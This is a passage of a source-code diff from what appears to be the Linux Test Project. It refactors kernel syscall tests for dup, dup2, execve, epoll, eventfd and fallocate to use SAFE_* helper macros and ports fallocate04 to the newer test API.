-	if (rmdir(DIR_A) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "rmdir %s failed", DIR_A);
-	}
-	if (unlink(setgid_B) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "unlink %s failed", setgid_B);
-	}
-	if (unlink(root_setgid_B) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "unlink %s failed",
-			 root_setgid_B);
-	}
-	if (unlink(nosetgid_B) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "unlink %s failed", nosetgid_B);
-	}
-	if (rmdir(DIR_B) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL, "rmdir %s failed", DIR_B);
-	}
+	SAFE_RMDIR(NULL, DIR_A);
+	SAFE_UNLINK(NULL, setgid_B);
+	SAFE_UNLINK(NULL, root_setgid_B);
+	SAFE_UNLINK(NULL, nosetgid_B);
+	SAFE_RMDIR(NULL, DIR_B);
 
 	tst_rmdir();
 }
diff --git a/testcases/kernel/syscalls/dup/dup01.c b/testcases/kernel/syscalls/dup/dup01.c
index 231958d..5c82ebe 100644
--- a/testcases/kernel/syscalls/dup/dup01.c
+++ b/testcases/kernel/syscalls/dup/dup01.c
@@ -115,6 +115,7 @@
 #include <string.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -151,10 +152,7 @@
 				 filename, TEST_RETURN);
 
 			/* close the new file so loops do not open too many files */
-			if (close(TEST_RETURN) == -1) {
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "closing %s failed", filename);
-			}
+			SAFE_CLOSE(cleanup, TEST_RETURN);
 		}
 
 	}
diff --git a/testcases/kernel/syscalls/dup/dup02.c b/testcases/kernel/syscalls/dup/dup02.c
index 36ac760..c0919ef 100644
--- a/testcases/kernel/syscalls/dup/dup02.c
+++ b/testcases/kernel/syscalls/dup/dup02.c
@@ -114,6 +114,7 @@
 #include <string.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -152,9 +153,7 @@
 			} else {
 				tst_resm(TFAIL, "dup succeeded unexpectedly");
 
-				if (close(TEST_RETURN) == -1)
-					tst_brkm(TBROK | TERRNO, cleanup,
-						 "close failed");
+				SAFE_CLOSE(cleanup, TEST_RETURN);
 			}
 		}
 	}
diff --git a/testcases/kernel/syscalls/dup/dup03.c b/testcases/kernel/syscalls/dup/dup03.c
index 8b4c726..e41c9e4 100644
--- a/testcases/kernel/syscalls/dup/dup03.c
+++ b/testcases/kernel/syscalls/dup/dup03.c
@@ -112,6 +112,7 @@
 #include <signal.h>
 #include <stdlib.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -148,9 +149,7 @@
 		} else {
 			tst_resm(TFAIL, "dup succeeded unexpectedly");
 
-			if (close(TEST_RETURN) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "close failed");
+			SAFE_CLOSE(cleanup, TEST_RETURN);
 		}
 
 	}
diff --git a/testcases/kernel/syscalls/dup/dup04.c b/testcases/kernel/syscalls/dup/dup04.c
index ec050fd..1414b2a 100644
--- a/testcases/kernel/syscalls/dup/dup04.c
+++ b/testcases/kernel/syscalls/dup/dup04.c
@@ -119,6 +119,7 @@
 #include <string.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -150,8 +151,7 @@
 				 "dup(%d) read side of syspipe returned %ld",
 				 fd[0], TEST_RETURN);
 
-			if (close(TEST_RETURN) == -1)
-				tst_brkm(TBROK, cleanup, "close failed");
+			SAFE_CLOSE(cleanup, TEST_RETURN);
 		}
 
 		TEST(dup(fd[1]));
@@ -165,9 +165,7 @@
 				 fd[1], TEST_RETURN);
 
 
-			if (close(TEST_RETURN) == -1)
-				tst_brkm(TBROK | TTERRNO, cleanup,
-					 "close failed");
+			SAFE_CLOSE(cleanup, TEST_RETURN);
 		}
 
 	}
@@ -186,8 +184,7 @@
 
 	tst_tmpdir();
 
-	if (pipe(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "pipe failed");
+	SAFE_PIPE(cleanup, fd);
 }
 
 void cleanup(void)
diff --git a/testcases/kernel/syscalls/dup/dup05.c b/testcases/kernel/syscalls/dup/dup05.c
index 6d46236..fc0e1f1 100644
--- a/testcases/kernel/syscalls/dup/dup05.c
+++ b/testcases/kernel/syscalls/dup/dup05.c
@@ -116,6 +116,7 @@
 #include <string.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -146,9 +147,7 @@
 			tst_resm(TPASS, "dup returned %ld",
 				 TEST_RETURN);
 
-			if (close(TEST_RETURN) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "close failed");
+			SAFE_CLOSE(cleanup, TEST_RETURN);
 		}
 
 	}
@@ -168,8 +167,7 @@
 	tst_tmpdir();
 
 	sprintf(Fname, "dupfile");
-	if (mkfifo(Fname, 0777) == -1)
-		tst_brkm(TBROK, cleanup, "mkfifo failed");
+	SAFE_MKFIFO(cleanup, Fname, 0777);
 	if ((fd = open(Fname, O_RDWR, 0700)) == -1)
 		tst_brkm(TBROK, cleanup, "open failed");
 }
diff --git a/testcases/kernel/syscalls/dup2/dup202.c b/testcases/kernel/syscalls/dup2/dup202.c
index daff81f..15443ef 100644
--- a/testcases/kernel/syscalls/dup2/dup202.c
+++ b/testcases/kernel/syscalls/dup2/dup202.c
@@ -53,6 +53,7 @@
 #include <fcntl.h>
 #include <stdio.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "dup202";
 int TST_TOTAL = 3;
@@ -113,14 +114,10 @@
 			}
 
 			/* stat the original file */
-			if (fstat(ofd, &oldbuf) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "fstat #1 failed");
+			SAFE_FSTAT(cleanup, ofd, &oldbuf);
 
 			/* stat the duped file */
-			if (fstat(*TC[i].nfd, &newbuf) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "fstat #2 failed");
+			SAFE_FSTAT(cleanup, *TC[i].nfd, &newbuf);
 
 			if (oldbuf.st_mode != newbuf.st_mode)
 				tst_resm(TFAIL, "original and dup "
diff --git a/testcases/kernel/syscalls/dup2/dup203.c b/testcases/kernel/syscalls/dup2/dup203.c
index 4fdc9f4..e6f281a 100644
--- a/testcases/kernel/syscalls/dup2/dup203.c
+++ b/testcases/kernel/syscalls/dup2/dup203.c
@@ -49,6 +49,7 @@
 #include <errno.h>
 #include <string.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup(void);
 void cleanup(void);
@@ -90,13 +91,11 @@
 		if (write(fd1, filename1, strlen(filename1)) == -1)
 			tst_brkm(TBROK, cleanup, "filename1: write(2) failed");
 
-		if (close(fd0) == -1)
-			tst_brkm(TBROK, cleanup, "close(2) fd0 failed");
+		SAFE_CLOSE(cleanup, fd0);
 		if ((fd0 = open(filename0, O_RDONLY)) == -1)
 			tst_brkm(TBROK, cleanup, "open(2) on filename0 failed");
 
-		if (close(fd1) == -1)
-			tst_brkm(TBROK, cleanup, "close(2) fd1 failed");
+		SAFE_CLOSE(cleanup, fd1);
 		if ((fd1 = open(filename1, O_RDONLY)) == -1)
 			tst_brkm(TBROK, cleanup, "open(2) on filename1 failed");
 
@@ -145,9 +144,9 @@
 			tst_brkm(TBROK, cleanup, "Cannot create second file");
 		}
 
-		if (close(fd2) == -1) {
-			tst_brkm(TBROK, cleanup, "close(2) fd_closed failed");
-		}
+		/* SAFE_CLOSE() sets the fd to -1 avoid it here */
+		rval = fd2;
+		SAFE_CLOSE(cleanup, rval);
 
 		TEST(dup2(fd0, fd2));
 
diff --git a/testcases/kernel/syscalls/dup2/dup204.c b/testcases/kernel/syscalls/dup2/dup204.c
index 0839682..c864f98 100644
--- a/testcases/kernel/syscalls/dup2/dup204.c
+++ b/testcases/kernel/syscalls/dup2/dup204.c
@@ -50,6 +50,7 @@
 #include <signal.h>
 #include <string.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -83,12 +84,8 @@
 				continue;
 			}
 
-			if (fstat(fd[i], &oldbuf) == -1)
-				tst_brkm(TBROK, cleanup, "fstat() #1 "
-					 "failed");
-			if (fstat(nfd[i], &newbuf) == -1)
-				tst_brkm(TBROK, cleanup, "fstat() #2 "
-					 "failed");
+			SAFE_FSTAT(cleanup, fd[i], &oldbuf);
+			SAFE_FSTAT(cleanup, nfd[i], &newbuf);
 
 			if (oldbuf.st_ino != newbuf.st_ino)
 				tst_resm(TFAIL, "original and duped "
@@ -97,9 +94,7 @@
 				tst_resm(TPASS, "original and duped "
 					 "inodes are the same");
 
-			if (close(TEST_RETURN) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "close failed");
+			SAFE_CLOSE(cleanup, TEST_RETURN);
 		}
 	}
 
@@ -117,8 +112,7 @@
 
 	tst_tmpdir();
 
-	if (pipe(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "pipe failed");
+	SAFE_PIPE(cleanup, fd);
 }
 
 void cleanup(void)
diff --git a/testcases/kernel/syscalls/epoll/epoll-ltp.c b/testcases/kernel/syscalls/epoll/epoll-ltp.c
index afadbd7..cb82fd8 100644
--- a/testcases/kernel/syscalls/epoll/epoll-ltp.c
+++ b/testcases/kernel/syscalls/epoll/epoll-ltp.c
@@ -157,7 +157,7 @@
 	} else { /* Must have been signaled */					\
 		(result) = (errval);						\
 		if (WIFSIGNALED(kid_status))						\
-			tst_resm(TFAIL, "Protected function test exitted due to signal %d (%s)", \
+			tst_resm(TFAIL, "Protected function test exited due to signal %d (%s)", \
 				WTERMSIG(kid_status), strsignal(WTERMSIG(kid_status)));	\
 		}								\
 	}									\
@@ -187,7 +187,7 @@
 	} else { /* Must have been signaled */					\
 		kid_status = (errval);						\
 		if (WIFSIGNALED(kid_status))					\
-			tst_resm(TFAIL, "Protected function test exitted due to signal %d (%s)", \
+			tst_resm(TFAIL, "Protected function test exited due to signal %d (%s)", \
 						WTERMSIG(kid_status), strsignal(WTERMSIG(kid_status))); \
 	}									\
 }										\
diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c
index aa1bd0d..70cddb9 100644
--- a/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c
+++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c
@@ -77,7 +77,7 @@
 }
 
 static struct tst_test test = {
-	.tid = "epoll_wait()",
+	.scall = "epoll_wait()",
 	.sample = sample_fn,
 	.setup = setup,
 	.cleanup = cleanup,
diff --git a/testcases/kernel/syscalls/eventfd/eventfd01.c b/testcases/kernel/syscalls/eventfd/eventfd01.c
index 37cca7d..e4f9c80 100644
--- a/testcases/kernel/syscalls/eventfd/eventfd01.c
+++ b/testcases/kernel/syscalls/eventfd/eventfd01.c
@@ -61,15 +61,14 @@
 #define CLEANUP cleanup
 #include "lapi/syscalls.h"
 
-#ifdef HAVE_LIBAIO_H
-#include <libaio.h>
-#endif
-
-static void setup(void);
-
 TCID_DEFINE(eventfd01);
 int TST_TOTAL = 15;
 
+#ifdef HAVE_LIBAIO
+#include <libaio.h>
+
+static void setup(void);
+
 static int myeventfd(unsigned int initval, int flags)
 {
 	/* eventfd2 uses FLAGS but eventfd doesn't take FLAGS. */
@@ -727,3 +726,10 @@
 {
 	tst_rmdir();
 }
+
+#else
+int main(void)
+{
+	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
+}
+#endif
diff --git a/testcases/kernel/syscalls/execve/execve05.c b/testcases/kernel/syscalls/execve/execve05.c
index 444bead..66290f6 100644
--- a/testcases/kernel/syscalls/execve/execve05.c
+++ b/testcases/kernel/syscalls/execve/execve05.c
@@ -44,6 +44,7 @@
 #include <sys/stat.h>
 #include <sys/wait.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #undef DEBUG			/* change this to #define if needed */
 
@@ -144,9 +145,7 @@
 #ifdef DEBUG
 			tst_resm(TINFO, "Main - started pid %d", pid);
 #endif
-			if (wait(&status) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "wait failed");
+			SAFE_WAIT(cleanup, &status);
 			if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 				tst_resm(TFAIL, "child exited abnormally");
 
@@ -169,9 +168,7 @@
 #ifdef DEBUG
 			tst_resm(TINFO, "Main - started pid %d", pid);
 #endif
-			if (wait(&status) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "wait failed");
+			SAFE_WAIT(cleanup, &status);
 			if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 				tst_resm(TFAIL, "child exited abnormally");
 
diff --git a/testcases/kernel/syscalls/exit_group/exit_group01.c b/testcases/kernel/syscalls/exit_group/exit_group01.c
index 3726b06..d7bcbe9 100644
--- a/testcases/kernel/syscalls/exit_group/exit_group01.c
+++ b/testcases/kernel/syscalls/exit_group/exit_group01.c
@@ -25,6 +25,7 @@
 #include <sys/wait.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/syscalls.h"
 
 char *TCID = "exit_group01";
@@ -43,9 +44,7 @@
 	if (cpid == 0) {
 		TEST(ltp_syscall(__NR_exit_group, 4));
 	} else {
-		w = wait(&status);
-		if (w == -1)
-			tst_brkm(TBROK | TERRNO, NULL, "wait() failed");
+		w = SAFE_WAIT(NULL, &status);
 
 		if (WIFEXITED(status) && (WEXITSTATUS(status) == 4)) {
 			tst_resm(TPASS, "exit_group() succeeded");
diff --git a/testcases/kernel/syscalls/fadvise/posix_fadvise01.c b/testcases/kernel/syscalls/fadvise/posix_fadvise01.c
index 03b6546..cb1566a 100644
--- a/testcases/kernel/syscalls/fadvise/posix_fadvise01.c
+++ b/testcases/kernel/syscalls/fadvise/posix_fadvise01.c
@@ -42,6 +42,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #include "lapi/syscalls.h"
 #ifndef _FILE_OFFSET_BITS
@@ -148,12 +149,7 @@
 
 	TEST_PAUSE;
 
-	fd = open(fname, O_RDONLY);
-	if (fd < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to open a file(\"%s\") for test: %s\n",
-			 fname, strerror(errno));
-	}
+	fd = SAFE_OPEN(cleanup, fname, O_RDONLY);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/fadvise/posix_fadvise03.c b/testcases/kernel/syscalls/fadvise/posix_fadvise03.c
index 26c21c0..2579e1f 100644
--- a/testcases/kernel/syscalls/fadvise/posix_fadvise03.c
+++ b/testcases/kernel/syscalls/fadvise/posix_fadvise03.c
@@ -41,6 +41,7 @@
 #include <errno.h>
 #include <limits.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #include "lapi/syscalls.h"
 #ifndef _FILE_OFFSET_BITS
@@ -198,12 +199,7 @@
 
 	TEST_PAUSE;
 
-	fd = open(fname, O_RDONLY);
-	if (fd < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "Unable to open a file(\"%s\") for test: %s\n",
-			 fname, strerror(errno));
-	}
+	fd = SAFE_OPEN(cleanup, fname, O_RDONLY);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/fallocate/fallocate01.c b/testcases/kernel/syscalls/fallocate/fallocate01.c
index 89ce996..02aa331 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate01.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate01.c
@@ -100,6 +100,7 @@
 #include <sys/utsname.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/fallocate.h"
 #include "lapi/fcntl.h"
 
@@ -145,18 +146,12 @@
 	tst_tmpdir();
 
 	sprintf(fname_mode1, "tfile_mode1_%d", getpid());
-	fd_mode1 = open(fname_mode1, O_RDWR | O_CREAT, 0700);
-	if (fd_mode1 == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open(%s, O_RDWR) failed",
-			 fname_mode1);
+	fd_mode1 = SAFE_OPEN(cleanup, fname_mode1, O_RDWR | O_CREAT, 0700);
 	get_blocksize(fd_mode1);
 	populate_files(fd_mode1);
 
 	sprintf(fname_mode2, "tfile_mode2_%d", getpid());
-	fd_mode2 = open(fname_mode2, O_RDWR | O_CREAT, 0700);
-	if (fd_mode2 == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open(%s, O_RDWR) failed",
-			 fname_mode2);
+	fd_mode2 = SAFE_OPEN(cleanup, fname_mode2, O_RDWR | O_CREAT, 0700);
 	populate_files(fd_mode2);
 }
 
diff --git a/testcases/kernel/syscalls/fallocate/fallocate03.c b/testcases/kernel/syscalls/fallocate/fallocate03.c
index d73d07d..da2b3bf 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate03.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate03.c
@@ -96,6 +96,7 @@
 #include <sys/utsname.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/fallocate.h"
 
 #define BLOCKS_WRITTEN 12
@@ -164,9 +165,7 @@
 	tst_tmpdir();
 
 	sprintf(fname, "tfile_sparse_%d", getpid());
-	fd = open(fname, O_RDWR | O_CREAT, 0700);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open(%s) failed", fname);
+	fd = SAFE_OPEN(cleanup, fname, O_RDWR | O_CREAT, 0700);
 	get_blocksize(fd);
 	populate_file();
 	file_seek(BLOCKS_WRITTEN + HOLE_SIZE_IN_BLOCKS);	/* create holes */
diff --git a/testcases/kernel/syscalls/fallocate/fallocate04.c b/testcases/kernel/syscalls/fallocate/fallocate04.c
index a672916..e576d72 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate04.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate04.c
@@ -30,42 +30,24 @@
 #include <fcntl.h>
 #include <unistd.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 #include "lapi/fallocate.h"
 
-char *TCID = "fallocate04";
-int TST_TOTAL = 5;
-
 static int fd;
-static const char fname[] = "fallocate04.txt";
 static size_t block_size;
 static size_t buf_size;
 
+#define MNTPOINT "fallocate"
+#define FNAME MNTPOINT "/fallocate.txt"
 #define NUM_OF_BLOCKS	3
 
-static int verbose;
-static const option_t options[] = {
-	{"v", &verbose, NULL},
-	{NULL, NULL, NULL}
-};
-
-static void help(void)
-{
-	printf("  -v      Verbose\n");
-}
-
-static void cleanup(void)
-{
-	close(fd);
-	tst_rmdir();
-}
+static char *verbose;
 
 static void get_blocksize(void)
 {
 	struct stat file_stat;
 
-	SAFE_FSTAT(cleanup, fd, &file_stat);
+	SAFE_FSTAT(fd, &file_stat);
 
 	block_size = file_stat.st_blksize;
 	buf_size = NUM_OF_BLOCKS * block_size;
@@ -77,7 +59,7 @@
 
 	fsync(fd);
 
-	SAFE_FSTAT(cleanup, fd, &file_stat);
+	SAFE_FSTAT(fd, &file_stat);
 
 	return file_stat.st_blocks * 512;
 }
@@ -91,99 +73,90 @@
 		memset(buf + i * block_size, 'a' + i, block_size);
 }
 
-static void setup(void)
-{
-	tst_tmpdir();
-
-	fd = SAFE_OPEN(cleanup, fname, O_RDWR | O_CREAT, 0700);
-
-	get_blocksize();
-}
-
 static void check_file_data(const char exp_buf[], size_t size)
 {
 	char rbuf[size];
 
-	tst_resm(TINFO, "reading the file, compare with expected buffer");
+	tst_res(TINFO, "reading the file, compare with expected buffer");
 
-	SAFE_LSEEK(cleanup, fd, 0, SEEK_SET);
-	SAFE_READ(cleanup, 1, fd, rbuf, size);
+	SAFE_LSEEK(fd, 0, SEEK_SET);
+	SAFE_READ(1, fd, rbuf, size);
 
 	if (memcmp(exp_buf, rbuf, size)) {
 		if (verbose) {
-			tst_resm_hexd(TINFO, exp_buf, size, "expected:");
-			tst_resm_hexd(TINFO, rbuf, size, "but read:");
+			tst_res_hexd(TINFO, exp_buf, size, "expected:");
+			tst_res_hexd(TINFO, rbuf, size, "but read:");
 		}
-		tst_brkm(TFAIL, cleanup, "not expected file data");
+		tst_brk(TFAIL, "not expected file data");
 	}
 }
 
 static void test01(void)
 {
-	tst_resm(TINFO, "allocate '%zu' bytes", buf_size);
+	tst_res(TINFO, "allocate '%zu' bytes", buf_size);
 
 	if (fallocate(fd, 0, 0, buf_size) == -1) {
 		if (errno == ENOSYS || errno == EOPNOTSUPP)
-			tst_brkm(TCONF, cleanup, "fallocate() not supported");
-		tst_brkm(TFAIL | TERRNO, cleanup, "fallocate() failed");
+			tst_brk(TCONF, "fallocate() not supported");
+		tst_brk(TFAIL | TERRNO, "fallocate() failed");
 	}
 
 	char buf[buf_size];
 
 	fill_tst_buf(buf);
 
-	SAFE_WRITE(cleanup, 1, fd, buf, buf_size);
+	SAFE_WRITE(1, fd, buf, buf_size);
 
-	tst_resm(TPASS, "test-case succeeded");
+	tst_res(TPASS, "test-case succeeded");
 }
 
 static void test02(void)
 {
 	size_t alloc_size0 = get_allocsize();
 
-	tst_resm(TINFO, "read allocated file size '%zu'", alloc_size0);
-	tst_resm(TINFO, "make a hole with FALLOC_FL_PUNCH_HOLE");
+	tst_res(TINFO, "read allocated file size '%zu'", alloc_size0);
+	tst_res(TINFO, "make a hole with FALLOC_FL_PUNCH_HOLE");
 
 	if (tst_kvercmp(2, 6, 38) < 0) {
-		tst_brkm(TCONF, cleanup,
-			 "FALLOC_FL_PUNCH_HOLE needs Linux 2.6.38 or newer");
+		tst_brk(TCONF,
+			"FALLOC_FL_PUNCH_HOLE needs Linux 2.6.38 or newer");
 	}
 
 	if (fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE,
 	    block_size, block_size) == -1) {
 		if (errno == EOPNOTSUPP) {
-			tst_brkm(TCONF, cleanup,
-			         "FALLOC_FL_PUNCH_HOLE not supported");
+			tst_brk(TCONF,
+			        "FALLOC_FL_PUNCH_HOLE not supported");
 		}
-		tst_brkm(TFAIL | TERRNO, cleanup, "fallocate() failed");
+		tst_brk(TFAIL | TERRNO, "fallocate() failed");
 	}
 
-	tst_resm(TINFO, "check that file has a hole with lseek(,,SEEK_HOLE)");
+	tst_res(TINFO, "check that file has a hole with lseek(,,SEEK_HOLE)");
 	off_t ret = lseek(fd, 0, SEEK_HOLE);
 
 	if (ret != (ssize_t)block_size) {
 		/* exclude error when kernel doesn't have SEEK_HOLE support */
 		if (errno != EINVAL) {
-			tst_brkm(TFAIL | TERRNO, cleanup,
+			tst_brk(TFAIL | TERRNO,
 				 "fallocate() or lseek() failed");
 		}
 		if (tst_kvercmp(3, 1, 0) < 0) {
-			tst_resm(TINFO, "lseek() doesn't support SEEK_HOLE, "
+			tst_res(TINFO, "lseek() doesn't support SEEK_HOLE, "
 				 "this is expected for < 3.1 kernels");
 		} else {
-			tst_brkm(TBROK | TERRNO, cleanup,
+			tst_brk(TBROK | TERRNO,
 				 "lseek() doesn't support SEEK_HOLE");
 		}
 	} else {
-		tst_resm(TINFO, "found a hole at '%ld' offset", ret);
+		tst_res(TINFO, "found a hole at '%ld' offset", ret);
 	}
 
 	size_t alloc_size1 = get_allocsize();
 
-	tst_resm(TINFO, "allocated file size before '%zu' and after '%zu'",
+	tst_res(TINFO, "allocated file size before '%zu' and after '%zu'",
 		 alloc_size0, alloc_size1);
 	if ((alloc_size0 - block_size) != alloc_size1)
-		tst_brkm(TFAIL, cleanup, "not expected allocated size");
+		tst_brk(TFAIL, "not expected allocated size");
 
 	char exp_buf[buf_size];
 
@@ -192,29 +165,29 @@
 
 	check_file_data(exp_buf, buf_size);
 
-	tst_resm(TPASS, "test-case succeeded");
+	tst_res(TPASS, "test-case succeeded");
 }
 
 static void test03(void)
 {
-	tst_resm(TINFO, "zeroing file space with FALLOC_FL_ZERO_RANGE");
+	tst_res(TINFO, "zeroing file space with FALLOC_FL_ZERO_RANGE");
 
 	if (tst_kvercmp(3, 15, 0) < 0) {
-		tst_brkm(TCONF, cleanup,
-			 "FALLOC_FL_ZERO_RANGE needs Linux 3.15 or newer");
+		tst_brk(TCONF,
+			"FALLOC_FL_ZERO_RANGE needs Linux 3.15 or newer");
 	}
 
 	size_t alloc_size0 = get_allocsize();
 
-	tst_resm(TINFO, "read current allocated file size '%zu'", alloc_size0);
+	tst_res(TINFO, "read current allocated file size '%zu'", alloc_size0);
 
 	if (fallocate(fd, FALLOC_FL_ZERO_RANGE, block_size - 1,
 	    block_size + 2) == -1) {
 		if (errno == EOPNOTSUPP) {
-			tst_brkm(TCONF, cleanup,
-			         "FALLOC_FL_ZERO_RANGE not supported");
+			tst_brk(TCONF,
+			        "FALLOC_FL_ZERO_RANGE not supported");
 		}
-		tst_brkm(TFAIL | TERRNO, cleanup, "fallocate failed");
+		tst_brk(TFAIL | TERRNO, "fallocate failed");
 	}
 
 	/* The file hole in the specified range must be allocated and
@@ -222,10 +195,10 @@
 	 */
 	size_t alloc_size1 = get_allocsize();
 
-	tst_resm(TINFO, "allocated file size before '%zu' and after '%zu'",
+	tst_res(TINFO, "allocated file size before '%zu' and after '%zu'",
 		 alloc_size0, alloc_size1);
 	if ((alloc_size0 + block_size) != alloc_size1)
-		tst_brkm(TFAIL, cleanup, "not expected allocated size");
+		tst_brk(TFAIL, "not expected allocated size");
 
 	char exp_buf[buf_size];
 
@@ -234,32 +207,32 @@
 
 	check_file_data(exp_buf, buf_size);
 
-	tst_resm(TPASS, "test-case succeeded");
+	tst_res(TPASS, "test-case succeeded");
 }
 
 static void test04(void)
 {
-	tst_resm(TINFO, "collapsing file space with FALLOC_FL_COLLAPSE_RANGE");
+	tst_res(TINFO, "collapsing file space with FALLOC_FL_COLLAPSE_RANGE");
 
 	size_t alloc_size0 = get_allocsize();
 
-	tst_resm(TINFO, "read current allocated file size '%zu'", alloc_size0);
+	tst_res(TINFO, "read current allocated file size '%zu'", alloc_size0);
 
 	if (fallocate(fd, FALLOC_FL_COLLAPSE_RANGE, block_size,
 	    block_size) == -1) {
 		if (errno == EOPNOTSUPP) {
-			tst_brkm(TCONF, cleanup,
-			         "FALLOC_FL_COLLAPSE_RANGE not supported");
+			tst_brk(TCONF,
+			        "FALLOC_FL_COLLAPSE_RANGE not supported");
 		}
-		tst_brkm(TFAIL | TERRNO, cleanup, "fallocate failed");
+		tst_brk(TFAIL | TERRNO, "fallocate failed");
 	}
 
 	size_t alloc_size1 = get_allocsize();
 
-	tst_resm(TINFO, "allocated file size before '%zu' and after '%zu'",
+	tst_res(TINFO, "allocated file size before '%zu' and after '%zu'",
 		 alloc_size0, alloc_size1);
 	if ((alloc_size0 - block_size) != alloc_size1)
-		tst_brkm(TFAIL, cleanup, "not expected allocated size");
+		tst_brk(TFAIL, "not expected allocated size");
 
 	size_t size = buf_size - block_size;
 	char tmp_buf[buf_size];
@@ -274,36 +247,36 @@
 	exp_buf[block_size - 1] = exp_buf[block_size] = '\0';
 	check_file_data(exp_buf, size);
 
-	tst_resm(TPASS, "test-case succeeded");
+	tst_res(TPASS, "test-case succeeded");
 }
 
 static void test05(void)
 {
-	tst_resm(TINFO, "inserting space with FALLOC_FL_INSERT_RANGE");
+	tst_res(TINFO, "inserting space with FALLOC_FL_INSERT_RANGE");
 
 	size_t alloc_size0 = get_allocsize();
 
-	tst_resm(TINFO, "read current allocated file size '%zu'", alloc_size0);
+	tst_res(TINFO, "read current allocated file size '%zu'", alloc_size0);
 
 	if (fallocate(fd, FALLOC_FL_INSERT_RANGE, block_size,
 	    block_size) == -1) {
 		if (errno == EOPNOTSUPP) {
-			tst_brkm(TCONF, cleanup,
-				 "FALLOC_FL_INSERT_RANGE not supported");
+			tst_brk(TCONF,
+				"FALLOC_FL_INSERT_RANGE not supported");
 		}
-		tst_brkm(TFAIL | TERRNO, cleanup, "fallocate failed");
+		tst_brk(TFAIL | TERRNO, "fallocate failed");
 	}
 
 	/* allocate space and ensure that it filled with zeroes */
 	if (fallocate(fd, FALLOC_FL_ZERO_RANGE, block_size, block_size) == -1)
-		tst_brkm(TFAIL | TERRNO, cleanup, "fallocate failed");
+		tst_brk(TFAIL | TERRNO, "fallocate failed");
 
 	size_t alloc_size1 = get_allocsize();
 
-	tst_resm(TINFO, "allocated file size before '%zu' and after '%zu'",
+	tst_res(TINFO, "allocated file size before '%zu' and after '%zu'",
 		 alloc_size0, alloc_size1);
 	if ((alloc_size0 + block_size) != alloc_size1)
-		tst_brkm(TFAIL, cleanup, "not expected allocated size");
+		tst_brk(TFAIL, "not expected allocated size");
 
 	char exp_buf[buf_size];
 
@@ -312,26 +285,45 @@
 
 	check_file_data(exp_buf, buf_size);
 
-	tst_resm(TPASS, "test-case succeeded");
+	tst_res(TPASS, "test-case succeeded");
 }
 
-int main(int argc, char *argv[])
+static void (*tcases[])(void) = {
+	test01, test02, test03, test04, test05
+};
+
+static void run(unsigned int i)
 {
-	int lc;
-
-	tst_parse_opts(argc, argv, options, help);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		test01();
-		test02();
-		test03();
-		test04();
-		test05();
-	}
-
-	cleanup();
-
-	tst_exit();
+	tcases[i]();
 }
+
+static void setup(void)
+{
+	fd = SAFE_OPEN(FNAME, O_RDWR | O_CREAT, 0700);
+
+	get_blocksize();
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_option opts[] = {
+	{"v", &verbose, "-v       Turns on verbose mode"},
+	{NULL, NULL, NULL}
+};
+
+static struct tst_test test = {
+	.options = opts,
+	.cleanup = cleanup,
+	.setup = setup,
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.all_filesystems = 1,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
